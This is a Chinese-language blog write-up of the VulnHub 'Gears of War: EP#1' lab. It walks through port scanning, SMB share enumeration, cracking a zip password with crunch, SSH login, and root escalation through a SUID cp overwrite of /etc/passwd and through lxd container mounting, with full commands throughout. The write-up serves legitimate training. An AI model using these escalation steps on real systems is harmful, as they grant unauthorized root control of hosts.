Gear_Of_War#1

Gear_Of_War#1

目录

下载地址：Gears of War: EP#1 ~ VulnHub

1 信息收集

image-20220306204843830

1.1 端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -p - 192.168.0.3
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: LOCUST)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: LOCUST)
Service Info: Host: GEARS_OF_WAR; OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 后台目录扫描

Target: http://192.168.0.3/

[19:28:20] Starting: 
[19:32:02] 403 -  276B  - /server-status

Task Completed
# 没东东

1.3 SMB服务安全分析

  1. nmap扫描smb漏洞

    ┌──(kali㉿kali)-[~]
└─$ nmap -p139,445 --script smb-vuln-* 192.168.0.3
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_          
|_smb-vuln-ms10-061: false

  2. 使用enum4linux检测目标系统上的smb服务：得到marcus用户名

    enum4linux 192.168.0.3

S-1-22-1-1000 Unix User\marcus (Local User)

  3. 使用smbmap枚举smb用户信息：可以无密码列出LOCUS_LAN$共享目录

    ┌──(kali㉿kali)-[~]
└─$ smbmap -H 192.168.0.3
[+] Guest session       IP: 192.168.0.3:445     Name: unknown                                           
        Disk            Permissions     Comment
        ----            -----------     -------
        LOCUS_LAN$      READ ONLY       LOCUST FATHER
        IPC$            NO ACCESS       IPC Service (gears_of_war server (Samba, Ubuntu))
┌──(kali㉿kali)-[~]
└─$ smbmap -H 192.168.0.3 -R LOCUS_LAN$
[+] Guest session       IP: 192.168.0.3:445     Name: unknown                                           
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        LOCUS_LAN$                                              READ ONLY
        .\LOCUS_LAN$\*
        dr--r--r--                0 Fri Oct 18 02:06:58 2019    .
        dr--r--r--                0 Thu Oct 17 21:51:38 2019    ..
        fr--r--r--              332 Thu Oct 17 22:53:33 2019    msg_horda.zip
        fr--r--r--              198 Fri Oct 18 02:06:58 2019    SOS.txt

    image-20220306191521661

  4. 使用smbclient命令列出smb目录并下载文件

    ┌──(kali㉿kali)-[~]
└─$ smbclient //192.168.0.3/LOCUS_LAN$
Enter WORKGROUP\kali's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Oct 18 02:06:58 2019
  ..                                  D        0  Thu Oct 17 21:51:38 2019
  msg_horda.zip                       N      332  Thu Oct 17 22:53:33 2019
  SOS.txt                             N      198  Fri Oct 18 02:06:58 2019

                5190756 blocks of size 1024. 1071568 blocks available
smb: \> get SOS.txt
getting file \SOS.txt of size 198 as SOS.txt (16.1 KiloBytes/sec) (average 16.1 KiloBytes/sec)
smb: \> get msg_horda.zip
getting file \msg_horda.zip of size 332 as msg_horda.zip (81.1 KiloBytes/sec) (average 32.3 KiloBytes/sec)
smb: \>

    image-20220306191655230

  5. 查看下载的文件

    ┌──(kali㉿kali)-[~]
└─$ cat SOS.txt     
This is a message for the Delta Team.

I found a file that contains a password to free ........ oh no they here!!!!!!!!!!,
i must protect myself, please try to get the password!!

[@%%,]

-Hoffman.
# msg_horda.zip解压需要密码

  6. 暴破msg_horda.zip文件密码：失败

    fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u msg_horda.zip

  7. 使用cewl收集网站信息生成目标网站字典：没东东

    ┌──(kali㉿kali)-[~]
└─$ cewl http://192.168.0.3/ > cewl.txt

  8. 尝试组合SOS.txt文件中的[@%%,]密码，解密msg_horda.zip文件：

    #没有猜解出来
crunch 1 6 -p [@%%,] > pass.txt

# 尝试字典组合规则：成功猜解
# -t字典组成规则
# @:小写字母 lalpha
# ,:大写字母 ualpha
# %:数字 numeric
# ^:符号 symbols
crunch 4 4 -t @%%, > pass.txt

# r44M

    image-20220306200553909

  9. 解压后得到key.txt文件内容：

    ┌──(kali㉿kali)-[~]
└─$ cat key.txt                  
"Vamos a atacar a los humanos con toda nuestras hordas,
por eso puse en prision a el hombre mas peligroso que tenian,
por lo que sin el son debiles."

[[[[[[[[[[[[[[[[[[[[["3_d4y"]]]]]]]]]]]]]]]]]]]]

-General RAAM.

2 GetShell

2.1 ssh登录marcus用户

# 利用`key.txt`内容中的密码：3_d4y
┌──(kali㉿kali)-[~]
└─$ ssh marcus@192.168.0.3

image-20220306204644666

3 提权

3.1 尝试提权

marcus@gears_of_war:~$ sudo -l
[sudo] password for marcus: 
Sorry, user marcus may not run sudo on gears_of_war.

3.2 收集当前系统信息

  1. 查看目标系统中存在哪些用户：marcus，属于sudo，lxd组

    marcus@gears_of_war:~$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

  2. 查找目标系统中拥有SID权限的命令：cp

    marcus@gears_of_war:~$ find / -perm -u=s -type f 2>/dev/null
/bin/cp
/bin/mount
/bin/ping
/bin/fusermount
/bin/su
/bin/umount
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/gawk
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/at
/usr/bin/sudo
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

  3. 查看当前用户所创建的文件

    marcus@gears_of_war:~$ find / -user marcus 2>/dev/null
-rbash: /dev/null: restricted: cannot redirect output
marcus@gears_of_war:~$ which python
/usr/bin/python
marcus@gears_of_war:~$ python -c "import pty;pty.spawn('/bin/bash')"
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
marcus@gears_of_war:~$  find / -user marcus 2>/dev/null

3.3 提权

3.3.1 cp利用SID提权

cp 是拥有root权限，利用思路，利用cp替换/etc/passwd使创建的用户具有root权限

  1. 生成账号密码

    openssl passwd -1 -salt fcarey Admin123
$1$fcarey$Gwvaa.SgKoSQHuo5m5g2k.

  2. 复制/etc/passwd内容到新建passwd中，在最后一行添加如下内容：

    fcarey:$1$fcarey$Gwvaa.SgKoSQHuo5m5g2k.:0:0:root:/root:/bin/bash

  3. 用编辑好的passwd文件替换/etc/passwd

    cp passwd /etc/passwd

  4. 尝试登录自建的管理员用户

    su - fcarey

    image-20220306213506357

3.3.2 LXD GROUP提权

当用户具有lxd权限时，可以通过创建任意镜像，并将当前系统根目录挂载到镜像mnt目录下，然后通过chroot命令即可获取当前系统的root权限

  1. 查看当前用户权限

    image-20220306211027297

  2. 下载镜像并导入到lxd中：

    # 使用lxc下载镜像，自动创建一个ubuntu容器并导入到lxd中
# 如果本地没有初始化过lxd，那么需要先执行lxd init进行初始化
lxc init ubuntu: fcarey -c security.privileged=true

# 自动下载ubuntu镜像比较慢，可以使用Github上构建好的镜像
# 下载地址：https://github.com/saghul/lxd-alpine-builder
marcus@gears_of_war:~$ git clone https://github.com/saghul/lxd-alpine-builder.git
marcus@gears_of_war:~$ cd lxd-alpine-builder/
marcus@gears_of_war:~/lxd-alpine-builder$ lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias fcarey
marcus@gears_of_war:~/lxd-alpine-builder$ lxc init fcarey fcarey -c security.privileged=true
Creating fcarey

  3. 配置容器，将宿主机根目录挂载到容器/mnt目录下。

    marcus@gears_of_war:~/lxd-alpine-builder$ lxc config device add fcarey fdevice disk source=/ path=/mnt recursive=true

  4. 启动并进入容器中，此时获取到的是容器的shell

    marcus@gears_of_war:~/lxd-alpine-builder$ lxc start fcarey
marcus@gears_of_war:~/lxd-alpine-builder$ lxc exec fcarey /bin/sh

  5. 由于已经将宿主机根目录挂载到了容器的/mnt/root目录下，因此在容器内，/mnt/root/目录是一个完整的根目录，可以使用chroot获取到这个根目录的完整root权限

    chroot /mnt

    image-20220306211408901

  6. 获取权限后可以对这个被挂载的根目录系统进行密码重置，创建特权账号等一起写高权限操作。等同于获取宿主机root权限

posted @ 2022-03-06 21:43  f_carey  阅读(64)  评论(0)  编辑  收藏  举报